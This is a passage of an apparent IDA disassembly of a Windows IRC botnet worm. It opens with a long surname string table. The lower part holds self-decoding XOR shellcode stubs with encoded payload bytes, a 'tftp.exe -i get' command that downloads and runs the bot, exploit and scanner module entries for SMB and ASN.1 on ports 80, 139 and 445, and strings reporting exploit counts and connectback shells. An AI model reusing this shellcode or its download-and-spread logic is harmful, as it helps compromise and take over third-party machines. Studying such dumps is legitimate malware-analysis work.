aCyders		db 'Cyders',0           ; DATA XREF: ___:0042D9F4o
		align 4
aCvek		db 'Cvek',0             ; DATA XREF: ___:0042D9F0o
		align 4
aCutler		db 'Cutler',0           ; DATA XREF: ___:0042D9ECo
		align 4
aCurrier	db 'Currier',0          ; DATA XREF: ___:0042D9E8o
aCui		db 'Cui',0              ; DATA XREF: ___:0042D9E4o
aCroxton	db 'Croxton',0          ; DATA XREF: ___:0042D9E0o
aCroxen		db 'Croxen',0           ; DATA XREF: ___:0042D9DCo
		align 4
aCroshaw	db 'Croshaw',0          ; DATA XREF: ___:0042D9D8o
aCrocker	db 'Crocker',0          ; DATA XREF: ___:0042D9D4o
aCrawford	db 'Crawford',0         ; DATA XREF: ___:0042D9D0o
		align 4
aCoutaux	db 'Coutaux',0          ; DATA XREF: ___:0042D9CCo
aCounter	db 'Counter',0          ; DATA XREF: ___:0042D9C8o
aCosmides	db 'Cosmides',0         ; DATA XREF: ___:0042D9C4o
		align 10h
aCornish	db 'Cornish',0          ; DATA XREF: ___:0042D9C0o
aCorey		db 'Corey',0            ; DATA XREF: ___:0042D9BCo
		align 10h
aConnors	db 'Connors',0          ; DATA XREF: ___:0042D9B8o
aCondodina	db 'Condodina',0        ; DATA XREF: ___:0042D9B4o
		align 4
aConcino	db 'Concino',0          ; DATA XREF: ___:0042D9B0o
aComstock	db 'Comstock',0         ; DATA XREF: ___:0042D9ACo
		align 4
aCompton	db 'Compton',0          ; DATA XREF: ___:0042D9A4o
					; ___:0042D9A8o
aCollis		db 'Collis',0           ; DATA XREF: ___:0042D9A0o
		align 4
aCollard	db 'Collard',0          ; DATA XREF: ___:0042D99Co
aColella	db 'Colella',0          ; DATA XREF: ___:0042D998o
aColdren	db 'Coldren',0          ; DATA XREF: ___:0042D994o
aCoito		db 'Coito',0            ; DATA XREF: ___:0042D990o
		align 4
aCoblenz	db 'Coblenz',0          ; DATA XREF: ___:0042D98Co
aClow		db 'Clow',0             ; DATA XREF: ___:0042D988o
		align 4
aClifton	db 'Clifton',0          ; DATA XREF: ___:0042D984o
aClement	db 'Clement',0          ; DATA XREF: ___:0042D980o
aClark		db 'Clark',0            ; DATA XREF: ___:0042D97Co
		align 10h
aClancy		db 'Clancy',0           ; DATA XREF: ___:0042D978o
		align 4
aClaffey	db 'Claffey',0          ; DATA XREF: ___:0042D974o
aCifarelli	db 'Cifarelli',0        ; DATA XREF: ___:0042D970o
		align 4
aCicero		db 'Cicero',0           ; DATA XREF: ___:0042D96Co
		align 4
aCiampaglia	db 'Ciampaglia',0       ; DATA XREF: ___:0042D968o
		align 10h
aChurch		db 'Church',0           ; DATA XREF: ___:0042D964o
		align 4
aChupasko	db 'Chupasko',0         ; DATA XREF: ___:0042D960o
		align 4
aChu		db 'Chu',0              ; DATA XREF: ___:0042D95Co
aChristopher	db 'Christopher',0      ; DATA XREF: ___:0042D958o
aChristie	db 'Christie',0         ; DATA XREF: ___:0042D954o
		align 10h
aChristiano	db 'Christiano',0       ; DATA XREF: ___:0042D950o
		align 4
aChristian	db 'Christian',0        ; DATA XREF: ___:0042D94Co
		align 4
aChristenson	db 'Christenson',0      ; DATA XREF: ___:0042D948o
aChinman	db 'Chinman',0          ; DATA XREF: ___:0042D944o
aChinipardaz	db 'Chinipardaz',0      ; DATA XREF: ___:0042D940o
aChilds		db 'Childs',0           ; DATA XREF: ___:0042D93Co
		align 10h
aChildress	db 'Childress',0        ; DATA XREF: ___:0042D938o
		align 4
aChien		db 'Chien',0            ; DATA XREF: ___:0042D934o
		align 4
aChiassino	db 'Chiassino',0        ; DATA XREF: ___:0042D930o
		align 10h
aChervinsky	db 'Chervinsky',0       ; DATA XREF: ___:0042D92Co
		align 4
aCherry		db 'Cherry',0           ; DATA XREF: ___:0042D928o
		align 4
aCheang		db 'Cheang',0           ; DATA XREF: ___:0042D924o
		align 4
aCharles	db 'Charles',0          ; DATA XREF: ___:0042D920o
aChapman	db 'Chapman',0          ; DATA XREF: ___:0042D91Co
aCerioli	db 'Cerioli',0          ; DATA XREF: ___:0042D918o
aCeniceros	db 'Ceniceros',0        ; DATA XREF: ___:0042D914o
		align 10h
aCavell		db 'Cavell',0           ; DATA XREF: ___:0042D910o
		align 4
aCavanagh	db 'Cavanagh',0         ; DATA XREF: ___:0042D90Co
		align 4
aCastelda	db 'Castelda',0         ; DATA XREF: ___:0042D908o
		align 10h
aCaspar		db 'Caspar',0           ; DATA XREF: ___:0042D904o
		align 4
aCase		db 'Case',0             ; DATA XREF: ___:0042D900o
		align 10h
aCascio		db 'Cascio',0           ; DATA XREF: ___:0042D8FCo
		align 4
aCartmill	db 'Cartmill',0         ; DATA XREF: ___:0042D8F8o
		align 4
aCarper		db 'Carper',0           ; DATA XREF: ___:0042D8F4o
		align 4
aCaroti		db 'Caroti',0           ; DATA XREF: ___:0042D8F0o
		align 4
aCarmichael	db 'Carmichael',0       ; DATA XREF: ___:0042D8ECo
		align 10h
aCarlyle	db 'Carlyle',0          ; DATA XREF: ___:0042D8E8o
aCarlos		db 'Carlos',0           ; DATA XREF: ___:0042D8E4o
		align 10h
aCarlin		db 'Carlin',0           ; DATA XREF: ___:0042D8E0o
		align 4
aCarayannopoulo	db 'Carayannopoulos',0  ; DATA XREF: ___:0042D8DCo
aCaratozzolo	db 'Caratozzolo',0      ; DATA XREF: ___:0042D8D8o
aCapursi	db 'Capursi',0          ; DATA XREF: ___:0042D8D4o
aCappuccio	db 'Cappuccio',0        ; DATA XREF: ___:0042D8D0o
		align 4
aCapodilupo	db 'Capodilupo',0       ; DATA XREF: ___:0042D8CCo
		align 4
aCapocaccia	db 'Capocaccia',0       ; DATA XREF: ___:0042D8C8o
		align 10h
aCaperton	db 'Caperton',0         ; DATA XREF: ___:0042D8C4o
		align 4
aCapanni	db 'Capanni',0          ; DATA XREF: ___:0042D8C0o
aCanley		db 'Canley',0           ; DATA XREF: ___:0042D8BCo
		align 4
aCammilleri	db 'Cammilleri',0       ; DATA XREF: ___:0042D8B8o
		align 4
aCammelli	db 'Cammelli',0         ; DATA XREF: ___:0042D8B4o
		align 4
aCalnan		db 'Calnan',0           ; DATA XREF: ___:0042D8B0o
		align 4
aCage		db 'Cage',0             ; DATA XREF: ___:0042D8ACo
		align 4
aByrd		db 'Byrd',0             ; DATA XREF: ___:0042D8A8o
		align 4
aByerly		db 'Byerly',0           ; DATA XREF: ___:0042D8A4o
		align 4
aByatt		db 'Byatt',0            ; DATA XREF: ___:0042D8A0o
		align 4
aBusetta	db 'Busetta',0          ; DATA XREF: ___:0042D89Co
aBurridge	db 'Burridge',0         ; DATA XREF: ___:0042D898o
		align 10h
aBurke		db 'Burke',0            ; DATA XREF: ___:0042D894o
		align 4
aBurdzy		db 'Burdzy',0           ; DATA XREF: ___:0042D890o
		align 10h
aBurden		db 'Burden',0           ; DATA XREF: ___:0042D88Co
		align 4
aBunton		db 'Bunton',0           ; DATA XREF: ___:0042D888o
		align 10h
aBullard	db 'Bullard',0          ; DATA XREF: ___:0042D884o
aBudding	db 'Budding',0          ; DATA XREF: ___:0042D880o
aBuchan		db 'Buchan',0           ; DATA XREF: ___:0042D87Co
		align 4
aBrzycki	db 'Brzycki',0          ; DATA XREF: ___:0042D878o
aBrook		db 'Brook',0            ; DATA XREF: ___:0042D874o
		align 4
aBroca		db 'Broca',0            ; DATA XREF: ___:0042D870o
		align 10h
aBritz		db 'Britz',0            ; DATA XREF: ___:0042D86Co
		align 4
aBrinton	db 'Brinton',0          ; DATA XREF: ___:0042D868o
aBridges	db 'Bridges',0          ; DATA XREF: ___:0042D864o
aBridgeman	db 'Bridgeman',0        ; DATA XREF: ___:0042D860o
		align 4
aBrewer		db 'Brewer',0           ; DATA XREF: ___:0042D858o
					; ___:0042D85Co
		align 4
aBrennan	db 'Brennan',0          ; DATA XREF: ___:0042D854o
aBrenan		db 'Brenan',0           ; DATA XREF: ___:0042D850o
		align 4
aBreed		db 'Breed',0            ; DATA XREF: ___:0042D84Co
		align 4
aBrecht		db 'Brecht',0           ; DATA XREF: ___:0042D848o
		align 4
aBradach	db 'Bradach',0          ; DATA XREF: ___:0042D844o
aBradac		db 'Bradac',0           ; DATA XREF: ___:0042D840o
		align 4
aBracalente	db 'Bracalente',0       ; DATA XREF: ___:0042D83Co
		align 4
aBoyne		db 'Boyne',0            ; DATA XREF: ___:0042D838o
		align 10h
aBoym		db 'Boym',0             ; DATA XREF: ___:0042D834o
		align 4
aBoyland	db 'Boyland',0          ; DATA XREF: ___:0042D830o
aBoyes		db 'Boyes',0            ; DATA XREF: ___:0042D82Co
		align 4
aBoyajian	db 'Boyajian',0         ; DATA XREF: ___:0042D828o
		align 4
aBoxer		db 'Boxer',0            ; DATA XREF: ___:0042D824o
		align 4
aBowers		db 'Bowers',0           ; DATA XREF: ___:0042D820o
		align 4
aBourneuf	db 'Bourneuf',0         ; DATA XREF: ___:0042D81Co
		align 10h
aBoudrot	db 'Boudrot',0          ; DATA XREF: ___:0042D818o
aBoudin		db 'Boudin',0           ; DATA XREF: ___:0042D814o
		align 10h
aBotosh		db 'Botosh',0           ; DATA XREF: ___:0042D810o
		align 4
aBothman	db 'Bothman',0          ; DATA XREF: ___:0042D80Co
aBossi		db 'Bossi',0            ; DATA XREF: ___:0042D808o
		align 4
aBorden		db 'Borden',0           ; DATA XREF: ___:0042D804o
		align 10h
aBorack		db 'Borack',0           ; DATA XREF: ___:0042D800o
		align 4
aBoorstin	db 'Boorstin',0         ; DATA XREF: ___:0042D7FCo
		align 4
aBoone		db 'Boone',0            ; DATA XREF: ___:0042D7F8o
		align 4
aBookbinder	db 'Bookbinder',0       ; DATA XREF: ___:0042D7F4o
		align 4
aBook		db 'Book',0             ; DATA XREF: ___:0042D7F0o
		align 10h
aBontempo	db 'Bontempo',0         ; DATA XREF: ___:0042D7ECo
		align 4
aBoniface	db 'Boniface',0         ; DATA XREF: ___:0042D7E8o
		align 4
aBonham		db 'Bonham',0           ; DATA XREF: ___:0042D7E4o
		align 10h
aBoner		db 'Boner',0            ; DATA XREF: ___:0042D7E0o
		align 4
aBologna	db 'Bologna',0          ; DATA XREF: ___:0042D7DCo
aBollinger	db 'Bollinger',0        ; DATA XREF: ___:0042D7D8o
		align 4
aBolick		db 'Bolick',0           ; DATA XREF: ___:0042D7D4o
		align 4
aBolger		db 'Bolger',0           ; DATA XREF: ___:0042D7D0o
		align 4
aBlyth		db 'Blyth',0            ; DATA XREF: ___:0042D7CCo
		align 4
aBloxham	db 'Bloxham',0          ; DATA XREF: ___:0042D7C8o
aBloemhof	db 'Bloemhof',0         ; DATA XREF: ___:0042D7C4o
		align 4
aBloembergen	db 'Bloembergen',0      ; DATA XREF: ___:0042D7C0o
aBloch		db 'Bloch',0            ; DATA XREF: ___:0042D7BCo
		align 4
aBlizard	db 'Blizard',0          ; DATA XREF: ___:0042D7B8o
aBliss		db 'Bliss',0            ; DATA XREF: ___:0042D7B4o
		align 4
aBlanke		db 'Blanke',0           ; DATA XREF: ___:0042D7B0o
		align 4
aBlakemore	db 'Blakemore',0        ; DATA XREF: ___:0042D7ACo
		align 10h
aBlagg		db 'Blagg',0            ; DATA XREF: ___:0042D7A8o
		align 4
aBlackwell	db 'Blackwell',0        ; DATA XREF: ___:0042D7A4o
		align 4
aBlackbourn	db 'Blackbourn',0       ; DATA XREF: ___:0042D7A0o
		align 10h
aBisho		db 'Bisho',0            ; DATA XREF: ___:0042D79Co
		align 4
aBisema		db 'Bisema',0           ; DATA XREF: ___:0042D798o
		align 10h
aBir		db 'Bir',0              ; DATA XREF: ___:0042D794o
aBinion		db 'Binion',0           ; DATA XREF: ___:0042D790o
		align 4
aBickel		db 'Bickel',0           ; DATA XREF: ___:0042D78Co
		align 4
aBiagioli	db 'Biagioli',0         ; DATA XREF: ___:0042D788o
		align 10h
aBeynart	db 'Beynart',0          ; DATA XREF: ___:0042D784o
aBetti		db 'Betti',0            ; DATA XREF: ___:0042D780o
		align 10h
aBerrizbeitia	db 'Berrizbeitia',0     ; DATA XREF: ___:0042D77Co
		align 10h
aBernston	db 'Bernston',0         ; DATA XREF: ___:0042D778o
		align 4
aBernassola	db 'Bernassola',0       ; DATA XREF: ___:0042D774o
		align 4
aBernardo	db 'Bernardo',0         ; DATA XREF: ___:0042D770o
		align 4
aBerkeJenkins	db 'Berke-Jenkins',0    ; DATA XREF: ___:0042D76Co
		align 4
aBergson	db 'Bergson',0          ; DATA XREF: ___:0042D768o
aBenedictDye	db 'Benedict-Dye',0     ; DATA XREF: ___:0042D764o
		align 4
aBelloc		db 'Belloc',0           ; DATA XREF: ___:0042D760o
		align 4
aBellini	db 'Bellini',0          ; DATA XREF: ___:0042D75Co
aBellhouse	db 'Bellhouse',0        ; DATA XREF: ___:0042D758o
		align 4
aBellavance	db 'Bellavance',0       ; DATA XREF: ___:0042D754o
		align 4
aBelinCollart	db 'Belin-Collart',0    ; DATA XREF: ___:0042D750o
		align 4
aBelfer		db 'Belfer',0           ; DATA XREF: ___:0042D74Co
		align 4
aBelaoussof	db 'Belaoussof',0       ; DATA XREF: ___:0042D748o
		align 4
aBelanger	db 'Belanger',0         ; DATA XREF: ___:0042D744o
		align 4
aBehenna	db 'Behenna',0          ; DATA XREF: ___:0042D740o
aBedford	db 'Bedford',0          ; DATA XREF: ___:0042D73Co
aBeder		db 'Beder',0            ; DATA XREF: ___:0042D738o
		align 4
aBeckman	db 'Beckman',0          ; DATA XREF: ___:0042D734o
aBean		db 'Bean',0             ; DATA XREF: ___:0042D730o
		align 4
aBeal		db 'Beal',0             ; DATA XREF: ___:0042D72Co
		align 4
aBeacon		db 'Beacon',0           ; DATA XREF: ___:0042D728o
		align 4
aBayo		db 'Bayo',0             ; DATA XREF: ___:0042D724o
		align 4
aBayles		db 'Bayles',0           ; DATA XREF: ___:0042D720o
		align 4
aBaumiller	db 'Baumiller',0        ; DATA XREF: ___:0042D71Co
		align 4
aBatchelder	db 'Batchelder',0       ; DATA XREF: ___:0042D718o
		align 4
aBashevis	db 'Bashevis',0         ; DATA XREF: ___:0042D714o
		align 10h
aBasavappa	db 'Basavappa',0        ; DATA XREF: ___:0042D710o
		align 4
aBartoo		db 'Bartoo',0           ; DATA XREF: ___:0042D70Co
		align 4
aBartolome	db 'Bartolome',0        ; DATA XREF: ___:0042D708o
		align 10h
aBartholomew	db 'Bartholomew',0      ; DATA XREF: ___:0042D704o
aBarry		db 'Barry',0            ; DATA XREF: ___:0042D700o
		align 4
aBarriola	db 'Barriola',0         ; DATA XREF: ___:0042D6FCo
		align 10h
aBarnett	db 'Barnett',0          ; DATA XREF: ___:0042D6F8o
aBarneson	db 'Barneson',0         ; DATA XREF: ___:0042D6F4o
		align 4
aBarbetti	db 'Barbetti',0         ; DATA XREF: ___:0042D6F0o
		align 10h
aBarberi	db 'Barberi',0          ; DATA XREF: ___:0042D6ECo
aBaranowska	db 'Baranowska',0       ; DATA XREF: ___:0042D6E8o
		align 4
aBaranczak	db 'Baranczak',0        ; DATA XREF: ___:0042D6E4o
		align 10h
aBarajas	db 'Barajas',0          ; DATA XREF: ___:0042D6E0o
aBarabesi	db 'Barabesi',0         ; DATA XREF: ___:0042D6DCo
		align 4
aBanta		db 'Banta',0            ; DATA XREF: ___:0042D6D8o
		align 4
aBaltz		db 'Baltz',0            ; DATA XREF: ___:0042D6D4o
		align 4
aBallew		db 'Ballew',0           ; DATA XREF: ___:0042D6D0o
		align 4
aBallatori	db 'Ballatori',0        ; DATA XREF: ___:0042D6CCo
		align 4
aBaleja		db 'Baleja',0           ; DATA XREF: ___:0042D6C8o
		align 10h
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: ___:0042D6C4o
		align 4
aBailar		db 'Bailar',0           ; DATA XREF: ___:0042D6C0o
		align 4
aBagnold	db 'Bagnold',0          ; DATA XREF: ___:0042D6BCo
aBaglivo	db 'Baglivo',0          ; DATA XREF: ___:0042D6B8o
aBady		db 'Bady',0             ; DATA XREF: ___:0042D6B4o
		align 4
aBackus		db 'Backus',0           ; DATA XREF: ___:0042D6B0o
		align 4
aBachmuth	db 'Bachmuth',0         ; DATA XREF: ___:0042D6ACo
		align 10h
aAzima		db 'Azima',0            ; DATA XREF: ___:0042D6A8o
		align 4
aAyling		db 'Ayling',0           ; DATA XREF: ___:0042D6A4o
		align 10h
aAykroyd	db 'Aykroyd',0          ; DATA XREF: ___:0042D6A0o
aAyiemba	db 'Ayiemba',0          ; DATA XREF: ___:0042D69Co
aAxworthy	db 'Axworthy',0         ; DATA XREF: ___:0042D698o
		align 4
aAxelrod	db 'Axelrod',0          ; DATA XREF: ___:0042D694o
aAurelius	db 'Aurelius',0         ; DATA XREF: ___:0042D690o
		align 10h
aAugustus	db 'Augustus',0         ; DATA XREF: ___:0042D68Co
		align 4
aAtkins		db 'Atkins',0           ; DATA XREF: ___:0042D688o
		align 4
aArky		db 'Arky',0             ; DATA XREF: ___:0042D684o
		align 4
aArjas		db 'Arjas',0            ; DATA XREF: ___:0042D680o
		align 4
aAristotle	db 'Aristotle',0        ; DATA XREF: ___:0042D67Co
		align 10h
aArellano	db 'Arellano',0         ; DATA XREF: ___:0042D678o
		align 4
aArduini	db 'Arduini',0          ; DATA XREF: ___:0042D674o
aArbia		db 'Arbia',0            ; DATA XREF: ___:0042D670o
		align 4
aAntos		db 'Antos',0            ; DATA XREF: ___:0042D66Co
		align 4
aAnthony	db 'Anthony',0          ; DATA XREF: ___:0042D668o
aAnsley		db 'Ansley',0           ; DATA XREF: ___:0042D664o
		align 4
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: ___:0042D660o
		align 10h
aAndron		db 'Andron',0           ; DATA XREF: ___:0042D65Co
		align 4
aAndrelus	db 'Andrelus',0         ; DATA XREF: ___:0042D658o
		align 4
aAndo		db 'Ando',0             ; DATA XREF: ___:0042D654o
		align 4
aAndel		db 'Andel',0            ; DATA XREF: ___:0042D650o
		align 4
aAnand		db 'Anand',0            ; DATA XREF: ___:0042D64Co
		align 4
aAmsden		db 'Amsden',0           ; DATA XREF: ___:0042D648o
		align 4
aAmeer		db 'Ameer',0            ; DATA XREF: ___:0042D644o
		align 4
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: ___:0042D640o
		align 4
aAmaral		db 'Amaral',0           ; DATA XREF: ___:0042D63Co
		align 10h
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: ___:0042D638o
		align 4
aAltenberger	db 'Altenberger',0      ; DATA XREF: ___:0042D634o
aAltavilla	db 'Altavilla',0        ; DATA XREF: ___:0042D630o
		align 4
aAlongi		db 'Alongi',0           ; DATA XREF: ___:0042D62Co
		align 4
aAllison	db 'Allison',0          ; DATA XREF: ___:0042D628o
aAleks		db 'Aleks',0            ; DATA XREF: ___:0042D624o
		align 4
aAlda		db 'Alda',0             ; DATA XREF: ___:0042D620o
		align 4
aAlcorn		db 'Alcorn',0           ; DATA XREF: ___:0042D61Co
		align 4
aAlavi		db 'Alavi',0            ; DATA XREF: ___:0042D618o
		align 4
aAhlers		db 'Ahlers',0           ; DATA XREF: ___:0042D614o
		align 4
aAdorno		db 'Adorno',0           ; DATA XREF: ___:0042D610o
		align 4
aAdibe		db 'Adibe',0            ; DATA XREF: ___:0042D60Co
		align 4
aAdelstein	db 'Adelstein',0        ; DATA XREF: ___:0042D608o
		align 4
aAddison	db 'Addison',0          ; DATA XREF: ___:off_42D604o
aAdams		db 'Adams',0            ; DATA XREF: ___:0042D600o
		align 4
aAckerman	db 'Ackerman',0         ; DATA XREF: ___:0042D5FCo
		align 4
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: ___:off_42D5F8o
		align 10h
byte_431250	db 50h			; DATA XREF: ___:0040ADEFo
					; ___:0040ADFCr
		db 43h,	2 dup(0)
dword_431254	dd 7C7325h		; DATA XREF: ___:0040AE9Ao
dword_431258	dd 5D73255Bh, 7Ch	; DATA XREF: ___:0040AFA4o
dword_431260	dd 3F3F3Fh		; DATA XREF: ___:loc_40AF9Bo
					; sub_41AA42:loc_41AB05o
dword_431264	dd 334B32h		; DATA XREF: ___:0040AF94o
dword_431268	dd 5058h		; DATA XREF: ___:0040AF86o
					; sub_41AA42+AAo
dword_43126C	dd 4B32h		; DATA XREF: ___:0040AF76o
					; sub_41AA42+98o
dword_431270	dd 454Dh		; DATA XREF: ___:0040AF5Do
					; sub_41AA42+7Eo
dword_431274	dd 3839h		; DATA XREF: ___:0040AF4Do
					; sub_41AA42+6Co
dword_431278	dd 544Eh		; DATA XREF: ___:0040AF3Do
					; sub_41AA42+5Ao
dword_43127C	dd 3539h		; DATA XREF: ___:0040AF2Fo
					; sub_41AA42+46o
dword_431280	dd 5D64255Bh, 7325h	; DATA XREF: sub_40AFEA+3Ao
dword_431288	dd 5D4D5Bh		; DATA XREF: sub_40AFEA+2Co
					; sub_40AFEA+57o
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_40AFEA+18o
					; sub_418211+5o
		align 4
		jmp	short loc_431298
; ---------------------------------------------------------------------------


loc_431296:				; CODE XREF: ___:loc_431298p
		jmp	short loc_43129D
; ---------------------------------------------------------------------------


loc_431298:				; CODE XREF: ___:00431294j
		call	loc_431296


loc_43129D:				; CODE XREF: ___:loc_431296j
		pop	ebx
		xor	ecx, ecx
		mov	cx, 0FFFFh


loc_4312A4:				; CODE XREF: ___:004312A9j
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_4312A4
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cl, 0FFh


loc_4312BA:				; CODE XREF: ___:004312BFj
		xor	byte ptr [ebx+0Ch], 0FFh
		inc	ebx
		loop	loc_4312BA
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
		dd 12h
aTftp_exeIGet	db 'tftp.exe -i  get ',0
; ---------------------------------------------------------------------------
		push	0
		call	sub_43135C
		jnz	short loc_431348
		retn
; ---------------------------------------------------------------------------


loc_431348:				; CODE XREF: ___:00431345j
					; ___:00431355j
		call	near ptr loc_43134D+1


loc_43134D:				; CODE XREF: ___:loc_431348p
		add	[edx+0], ch
		call	sub_43135C
		jz	loc_431348
		retn

; =============== S U B	R O U T	I N E =======================================



sub_43135C	proc near		; CODE XREF: ___:00431340p
					; ___:00431350p
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
sub_43135C	endp

; ---------------------------------------------------------------------------
		align 4
		dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40B384+51o
		align 4
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B384+35o
		align 10h
aSym		db 'sym',0              ; DATA XREF: sub_40C124+169o
		dd 0
		db 2 dup(0)
aSymantec	db 'Symantec',0         ; DATA XREF: sub_40B7DA+30o
		align 4
		dd 5 dup(0)
dword_431408	dd 0B97h		; DATA XREF: sub_401ACD+1DA0r
					; sub_401ACD+1DC9o ...
off_43140C	dd offset sub_40E0D0	; DATA XREF: sub_40C124+1EAr
dword_431410	dd 0			; DATA XREF: sub_40B64A+2Eo
					; ___:0040D495w ...
dword_431414	dd 1			; DATA XREF: sub_40BACD+1Fr
dword_431418	dd 1			; DATA XREF: sub_40BACD+3B3r
dword_43141C	dd 0			; DATA XREF: sub_40BACD+292r
		dd 636E76h, 0
		dd 6E760000h, 63h, 6 dup(0)
		dd 170Ch, 40E206h, 0
		dd 2 dup(1), 0
aNet139		db 'net139',0
		align 4
		dd 654E0000h, 69706174h, 393331h, 5 dup(0)
		dd 8Bh,	40DF8Eh, 0
		dd 2 dup(1), 0
aNet445		db 'net445',0
		align 4
		dd 654E0000h, 69706174h, 353434h, 5 dup(0)
		dd 1BDh, 40DF8Eh, 0
		dd 2 dup(1), 0
aAsn80		db 'asn80',0
		align 4
		dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0)
		dd 50h,	40D2D9h, 0
		dd 2 dup(1), 0
aAsn445		db 'asn445',0
		align 4
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh, 40D2D9h, 0
		dd 2 dup(1), 0
aAsn139		db 'asn139',0
		align 4
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh,	40D2D9h, 0
		dd 2 dup(1), 2 dup(0)
		dd 10100h, 0Eh dup(0)
aAsn445_0	db 'asn445',0
		align 4
		db 2 dup(0)
byte_4315EA	db 1			; DATA XREF: sub_401ACD:loc_4037E6r
					; sub_401ACD+1D23o
		db 73h
		dd 6D79h, 0
		dd 100h, 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_431616

; =============== S U B	R O U T	I N E =======================================



sub_431606	proc near		; CODE XREF: sub_431606:loc_431616p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_43160E:				; CODE XREF: sub_431606+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_43160E
		jmp	short loc_43161B
; ---------------------------------------------------------------------------


loc_431616:				; CODE XREF: ___:00431604j
		call	sub_431606


loc_43161B:				; CODE XREF: sub_431606+Ej
		jo	short near ptr dword_4315A4+12h
		cwde
		cdq
		cdq
		retn
sub_431606	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40B64A+86o
		align 4
dword_431798	dd 25370320h, 203A0373h, 2C6425h ; DATA	XREF: sub_40B64A+46o
unk_4317A4	db  2Dh	; -		; DATA XREF: sub_40B64A+11o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
unk_4317C4	db  2Dh	; -		; DATA XREF: sub_40B719+38o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
unk_43180C	db  2Dh	; -		; DATA XREF: sub_40B785+22o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDConnectbackSh	db '%d connectback shells in %s.',0
		align 4
aScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_40B7DA+7Fo
dword_431848	dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40B7DA+40o
dword_431858	dd 234032Dh, 6E616373h,	202D0302h, 6C707845h, 2074696Fh
					; DATA XREF: sub_40B7DA+14o
		dd 7473694Ch, 3Ah
unk_431874	db  2Dh	; -		; DATA XREF: ___:0040BA13o
		db 3, 34h, 2
		db  65h	; e
